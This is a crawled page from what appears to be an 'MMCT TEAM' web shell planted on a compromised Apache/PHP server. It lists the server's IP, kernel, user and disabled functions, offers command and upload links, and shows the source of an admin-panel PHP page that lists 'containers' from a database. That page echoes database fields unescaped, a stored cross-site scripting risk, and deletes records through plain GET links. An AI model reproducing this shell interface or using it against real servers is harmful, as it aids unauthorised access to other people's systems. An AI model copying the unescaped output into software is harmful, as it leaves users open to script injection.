MMCT TEAM
Server IP : 128.199.20.84  /  Your IP : 172.70.126.133
Web Server : Apache/2.4.41 (Ubuntu)
System : Linux competent-maruti 5.4.0-128-generic #144-Ubuntu SMP Tue Sep 20 11:00:04 UTC 2022 x86_64
User : www-data ( 33)
PHP Version : 8.0.20
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,pcntl_unshare,
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF
Directory (0775) :  /var/www/html/assets/../admin_panel/

[  Home  ][  C0mmand  ][  Upload File  ]

Current File : /var/www/html/assets/../admin_panel/view_container.php
<?php 
include('header.php');
include('left_sidebar.php');
unset($_SESSION["msg"]);
?>
     
        <!-- ============================================================== -->
        <!-- Page wrapper  -->
        <!-- ============================================================== -->
        <div class="page-wrapper">
            <!-- ============================================================== -->
            <!-- Container fluid  -->
            <!-- ============================================================== -->
            <div class="container-fluid">
                <!-- ============================================================== -->
                <!-- Bread crumb and right sidebar toggle -->
                <!-- ============================================================== -->
                <div class="row page-titles">
                    <div class="col-md-5 col-8 align-self-center">
                        <h3 class="text-themecolor">Container List</h3>
                        <ol class="breadcrumb">
                            <li class="breadcrumb-item"><a href="javascript:void(0)">Home</a></li>
                            <li class="breadcrumb-item active">Container List</li>
                        </ol>
                    </div>
                    
                </div>
                <!-- ============================================================== -->
                <!-- End Bread crumb and right sidebar toggle -->
                <!-- ============================================================== -->
                <!-- ============================================================== -->
                <!-- Start Page Content -->
                <!-- ============================================================== -->
                
                 <!-- Row -->
                 
                    <div class="row">
                    <div class="col-12">
                        <div class="card">
                            <div class="card-body">
                                <h4 class="card-title">Container List</h4>
                                <div class="table-responsive m-t-10">
							
                                    <table id="example23" class="display nowrap table table-hover table-striped table-bordered" cellspacing="0" width="100%">
                                        <thead style="background: darkgray;color: white;">
                                            <tr>
                                                <th>S.No.</th>
                                                <th>Title</th>
                                                <th>Image</th>
                                                 <th>Desc</th>
												<th>Edit</th>
                                                <th>Delete</th>                                                
                                            </tr>
                                        </thead>
                                       
                                        <tbody>
                                        <?php
						  $query = mysqli_query($con,"SELECT * FROM tp_container order by id desc");
						  $cn=1;
						  while($CatRow = mysqli_fetch_array($query)){
						  
						  ?>
                                            <tr <?php if($CatRow["status"]=='0'){ ?> class="table-danger" <?php } ?>>
                                                <td><?php echo $cn++;?></td>
                                                <td><?=$CatRow["category"];?></td>
                                                <td><img src="../file_upload/service/<?=$CatRow["filename"];?>" height="50"></td>
                                                <td><?=$CatRow["description"];?></td>
                                                <td><a href="add_container.php?objID=<?=$CatRow["id"];?>&mode=edit" class="btn btn-primary btn-circle"><i class="ti-settings"></i> </a></td>
                                                <td><a href="delete_container.php?id=<?=$CatRow["id"];?>" class="btn btn-danger btn-circle info-tooltip" onclick="return confirm('Are you Sure?');"><i class="ti-trash"></i> </a></td>
                                            </tr>
                                            <?php } ?>
                                            
                                        </tbody>
                                    </table>
                                </div>
                            </div>
                        </div>
                        
                        
                    </div>
                </div> 
                <!-- ============================================================== -->
                <!-- End PAge Content -->
                <!-- ============================================================== -->
               <?php include('footer.php');?>

MMCT - 2023